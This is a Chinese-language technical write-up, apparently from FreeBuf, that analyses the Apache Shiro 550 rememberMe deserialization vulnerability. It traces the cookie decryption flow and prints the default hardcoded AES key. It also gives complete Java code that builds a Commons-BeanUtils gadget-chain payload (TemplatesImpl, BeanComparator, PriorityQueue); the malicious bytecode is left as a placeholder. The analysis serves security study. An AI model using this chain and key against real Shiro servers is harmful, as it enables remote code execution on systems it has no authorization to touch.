
1.前言
本文主要分析Shiro550中的CB链利用,因为在一些情况下,CC链可能无法使用。
2.shiro流程分析
首先会在
AbstractRememberMeManager#getRememberedPrincipals获取上下文。
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = this.getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0) { principals = this.convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException var4) { principals = this.onRememberedPrincipalFailure(var4, subjectContext); } return principals; }
之后跟进this.getRememberedSerializedIdentity方法。可以发现readValue这个方法,继续跟入
可以发现在获取完cookie的值之后,进行了return
public String readValue(HttpServletRequest request, HttpServletResponse ignored) { String name = this.getName(); String value = null; javax.servlet.http.Cookie cookie = getCookie(request, name); if (cookie != null) { value = cookie.getValue(); log.debug("Found '{}' cookie value [{}]", name, value); } else { log.trace("No '{}' cookie value", name); } return value; }
如图可以看到,cookie的value成功获取到
在后续,是一个解码的操作
然后跟进convertBytesToPrincipals方法
进入之后,可以看见是一个将base64解码的cookie进行传入
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (this.getCipherService() != null) { bytes = this.decrypt(bytes); } return this.deserialize(bytes); }
this.decrypt如下
protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cipherService = this.getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
cipherService.decrypt(encrypted, this.getDecryptionCipherKey()); 第一个为cookie value,第二个是key
先追一下key
既然上方是get方法来获取key,那么只需要找一下set方法即可,找到之后,可以发现其set方法,是被setCipherKey来调用,而key就是cipherKey
而setCipherKey传入的参数,实则是一个静态变量。而该key则是
kPH+bIxk5D2deZiIxcaaaA==
追踪完key是什么东西之后,cipherService.decrypt方法最终就是一个解密的操作
最后将其进行反序列化
3.Commons-beanutils构造链
但是在无commons-collections组件的情况下,只能通过cb链来利用了。所以本文详讲cb链用法。
完整代码如下,相信很多小伙伴都分析过CC链,其实是与之类似的。
public static byte[] bytes = Base64.getDecoder().decode("恶意代码"); public static void SetFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException, IOException, ClassNotFoundException { TemplatesImpl obj = new TemplatesImpl(); SetFieldValue(obj, "_bytecodes", new byte[][]{bytes}); SetFieldValue(obj, "_name", "HelloTemplatesImpl"); SetFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); //CB链 BeanComparator comparator = new BeanComparator(); //CC2 PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator); queue.add("1"); queue.add("2"); SetFieldValue(comparator,"property","outputProperties"); SetFieldValue(queue,"queue",new Object[]{obj,obj}); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CBShiro.bin")); objectOutputStream.writeObject(queue); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CBShiro.bin")); objectInputStream.readObject(); objectInputStream.close(); }
BeanComparator#compare中52行,可以看见会调用o1对象的property属性的get方法
Object value1 = PropertyUtils.getProperty(o1, this.property);
PropertyUtils.getProperty()让使用者可以直接调用任意 JavaBean 的getter方法,JavaBean 即指符合特定规范的 Java 类
这里拿CC3前半部分来做测试,CC3直接接触是通过newTransformer来进行命令执行。而在newTransformer的上层,有一个getOutput
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass()
可以看到在传入进outputProperties之后,就会执行命令
在上方中,已经分析完了BeanComparator#compare。现在只需要找到有哪出的readObject调用到了该compare即可
PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator); queue.add("1"); queue.add("2"); SetFieldValue(comparator,"property","outputProperties"); SetFieldValue(queue,"queue",new Object[]{obj,obj});
跟进其readObject方法,进入heapify()
之后跟入siftDown()
siftDownUsingComparator跟入
之后就可以看到。进行了compare操作,而此时的comparator,就是BeanComparator了
至于这两条反射的话,很简单,自行分析即可,总体来说比较像CC2
SetFieldValue(comparator,"property","outputProperties");
SetFieldValue(queue,"queue",new Object[]{obj,obj});
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)